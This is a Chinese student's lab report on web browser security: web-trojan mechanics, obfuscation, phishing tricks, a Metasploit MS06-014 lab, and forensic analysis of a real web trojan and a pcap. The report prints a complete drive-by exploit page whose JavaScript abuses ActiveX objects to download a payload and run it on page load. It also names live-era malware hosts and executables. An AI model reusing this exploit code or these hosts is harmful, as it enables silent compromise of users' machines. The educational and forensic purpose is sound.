第十二章 Web浏览器安全攻防
1.实践内容
1.1现代Web浏览器的基本结构与机理
现代web浏览器需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。下表显示了目前全球五个最主要的现代Web浏览器软件所采用的内核引繁与可扩展性机制情况。
除了扩展插件机制之外,现代Web浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富 Internet应用(RIA: Rich Internet Application)
1.1.1Web浏览器软件的安全困境三要素
- 复杂性:支持多种协议环境
- 可扩展性:支持第三方插件扩展机制
- 连通性
1.1.2web浏览安全威胁位置
- 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
- 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
- 针对Web浏览器软件及插件程序的滲透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这一背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行。
- 针对互联网用户的社会工程学攻击威胁:第一章学过
1.2Web浏览端的渗透攻击威胁——网页木马
- 网页木马的定义特性:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
- 对网页木马机理的全方位分析与理解:由于网页木马采用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软某访问构造的恶意Web页面内容,才可能触发滲透攻击过程。因此,与传统服务器端滲透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。
- 网页木马的核心是浏览器渗透攻击
网页挂马机制
- 内嵌HTML标签:使用内嵌HTML标签,如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中;
- 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马;
- 内嵌对象链接:网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马危害的后果,淘宝等都有过网站挂马攻击。
- ARP欺骗挂马:在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。
混淆机制
主要的混淆方法:
- 将代码重新排版,去除缩进、空行、换行、注释等;
- 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;
- 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数进行解密,再使用document.Write()或eval()进行动态输出或执行;
- 利用字符串运算、数学运算或特殊函数混淆代码;
- 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件。
监测与分析技术
- 基于特征码匹配的传统检测方法
- 基于统计与机器学习的静态分析方法
- 基于动态行为结果判定的检测分析方法
- 基于模拟浏览器环境的动态分析检测方法
- 网页木马检测分析技术综合对比
防范措施
提升操作系统与浏览端平台软件的安全性、安装杀毒软件、养成良好的上网浏览习惯等。
揭开网络钓鱼的黑幕
- 早期网络钓鱼攻击主要目的是获得受害者的AOL等网络服务账号的访问权,偶尔也期望获取信用卡数据以用于欺诈目的(如非法买卖这些信用卡信息)。这些钩鱼邮件通常利用一个简单的诡计来哄骗一些“菜鸟级”用户,这些欺骗手段很大程度依赖于受害者对“自动化的”系统功能或者权威机构的先天性信任,前面的例子中给出一个AOL硬件设备故障的情节,大部分的普通用户都会重视任何看起来正式的、或是为他们提供紧急帮助时所提的技术要求,同时用户通常会被催促尽快输入其敏感信息,从而避免遭受严重的后果。
网络钓鱼的普遍技术流程
- 攻击者扫描网段,寻找存有漏洞的服务器
- 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
网络钓鱼欺骗技巧
- 在指向假冒网站的链接中使用IP地址代替域名
- 注册发音相近或形似的DNS域名,并在上面假设假冒网站
- 在一个假冒钓鱼网网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,而少部分指向假冒的网站
- 对假冒网站的URL进行编码和混淆
- 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质
- 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站
- 架设一个假冒网站,作为目标机构真实网站的代理
- 通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后由其将受害者重定向到假冒的钓鱼网站
- 使用恶意代码去修改受害者计算机上的用来维护DNS域名和IP地址映射的本地hosts文件,将合法域名跳转到假冒网站IP
防范措施
- 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,对于以中奖、优惠、紧急状态等各种名义索収个人敏感信息的邮件一定要持怀疑态度
- 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,如浏览器中对HTTPS安全登录链接的提示,地址栏中对访问网站域名的标黑高亮提示、对钓鱼网站的警告提示与举报功能
- 在登录网上银行、证券基金等关键网站进行在线金融操作时,务必要重视访问网站的真实性,不要点击邮件中的链接来访问这些网站,最好以直接访问域名方式来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站
- 通过学习和修炼提升自己抵抗社会工程学攻击的能力,从而在日流行的撒网式钓鱼攻击中立于不败之地,因为撒网式钓鱼攻击不会采用复杂度很高的欺骗技巧,我们每个人都存在社会工程学攻击漏洞,只要比绝大多数人更懂得一些欺骗攻击技巧和相应的防范措施
2.实践过程
实践一:Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
在kali打开msfconsole
搜索MS06-014漏洞
进入漏洞,设置payload,设置靶机和攻击机IP
运行发现有一个local ip
靶机登陆这个ip,
然后看攻击机,发现了一些反应,建立连接
我们输入sessions -i 1打开会话,然后输入ipconfig发现建立了远程连接。
实践二 取证分析:剖析一个实际的网页木马攻击
我们按照实验指导书做,打不开start.html,然后第一问参考指导书的答案,书中看到 new09.htm 文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件,
又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件,然后对他们MD5散列,访问 http://www.cha88.cn/safe/md5.php,得到2个MD5码,然后下载,http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3和http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
然后打开2个文件
然后发现第一个文件就是我们要找的文件,仔细看第一个文件,会发现base64编码, xxtea加密,加密秘钥x73x63x72x69x70x74,这是简单地使用了 16 进制加密。转换一下,密钥是“script”。
然后将该文件内容复制到在线解密的地方,解密
都是16进制,然后16进制转化为字符串,
分析这段代码,有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别是微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是bd.exe)
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
首先1.js,打开5d7e9058a857aa2abee820d5473c5fa4,是16进制解码,
这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe的可执行文件,后面部分则是对ADODB漏洞的继续利用。
b.js,
这个解密方法,打开书上的网页,这一部分不能实践,有点不太理解,看看课本上的内容,来找找 URL 中必然出现的斜线“/”吧,“/”的十六进制 ASCII 码是 2F,那么我们就在那段 shellcode 中找“/”
注意有底色的地方,共有 6 处。后四处比较可疑,因为两个 2f 比较密集。于是我们取从第三个 2f 开始到末尾的内容,访问 http://www.cha88.cn/safe/shellcode.php,解密结果是:://down.18dd.net/bb/bf.exe,是一个可执行文件,
然后看pps.js,应该是8进制,解码
有shellcode,利用上边的方法,解密得到http://down.18dd.net/bb/pps.exe.
对exe文件散列:
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
我们用peid查看pps.exe是否加壳,没有加壳,
然后用W32DAsm反汇编,然后打开串式参考,
这个程序可能生成一个叫"Alletdel.bat"的批处理文件
这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序(证据:":AutoRun.inf","[AutoRun] open=","AutoRun.inf","shellAutocommand=")
用IDA打开pps.exe
问题1
问题2
问题3
MS06-014网马、暴风影音网马、PPStream网马、百度搜霸网马
问题4
pps.exe,作用进一步植入down.18dd.net
实践三
用的实践一的漏洞,在靶机登陆的那个网页里打开源代码
进行反混淆后,代码还是不好看
< html>
< head>
< title>
< /title>
<script language="javascript">
function jwnxVgMVVlmT(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch (e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch (e) {}
}
return (r)
}
function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
var s = jwnxVgMVVlmT(a, "WScript.Shell");
var o = jwnxVgMVVlmT(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\MrDqdDEsHwVsvWYbTDp.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch (e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch (e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
var i = 0;
var t = new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == ' {
') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch (e) {}
}
if (a) {
try {
var b = jwnxVgMVVlmT(a, "WScript.Shell");
if (b) {
eKXqxEpEOOOxsLSXxJeRxJCn(a);
return (0)
}
} catch (e) {}
}
i++
}
}
</script>
</head>
<body onload='
XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
'>
BcnGzcfhpOowOiNb
</body>
</html>
发现代码里有很多类似D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19的
应该是恶意代码。
取证分析挑战实践:web浏览器遭遇攻击
执行./chaosreader -r suspicious-time.pcap打开suspicious-time.pcap文件,发现有http、ICMP等协议。
执行for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1
; dstip=cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1
; host=cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'
; echo "$srcip --> $dstip = $host"; done | sort -u
DNS服务网址:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 192.168.1.1
靶机地址:10.0.2.15 10.0.3.15 10.0.4.15 10.0.5.15
模拟被侵入主机:192.168.56.50(“rapidshare.com.eyu32.ru”)、192.168.56.51(“shop.honeynet.sg”)
攻击方:192.168.56.52 (“sploitme.com.cn”)
选取之前生成的.http.html文件读取,筛选主机并列出来:
打开wireshark,NBNS进行过滤,通过netbios显示出的主机名和工作组,可以看到绝大多数主机都是一样的,猜测是配置在虚拟机下的
打开文件session_0006.part_01.html,这是一个钓鱼网站,应的就是rapidshare.com.eyu32.ru/login.php。那找sploitme.com.cn,404 NotFound了,这个对应文件session_0007.part_02.html。下面找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html。
攻击动作的描述:攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe。当访问者查看这些页面时,它们首先被重定向sploitme.com.cn/fg/show.php?s=X;在该页面中,检查用户代理字符串,着陆点和其他参数,并show.php发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码;如果任何漏洞利用成功,将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件。
混淆给我带来了困难。
追踪TCP数据流,会发现攻击者目标是windows xp,主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的,可以定期给操作系统打补丁。
二进制代码可以执行参与,攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件这是load.php发送的Win32可执行文件
3.学习中遇到的问题及解决
- 问题1:越往后的的实验越难。有些不理解
- 问题1解决方案:参考了教材,和别人的还是理解有点困难
4.实践总结
做的时候很困难,特别是第二个和最后一个。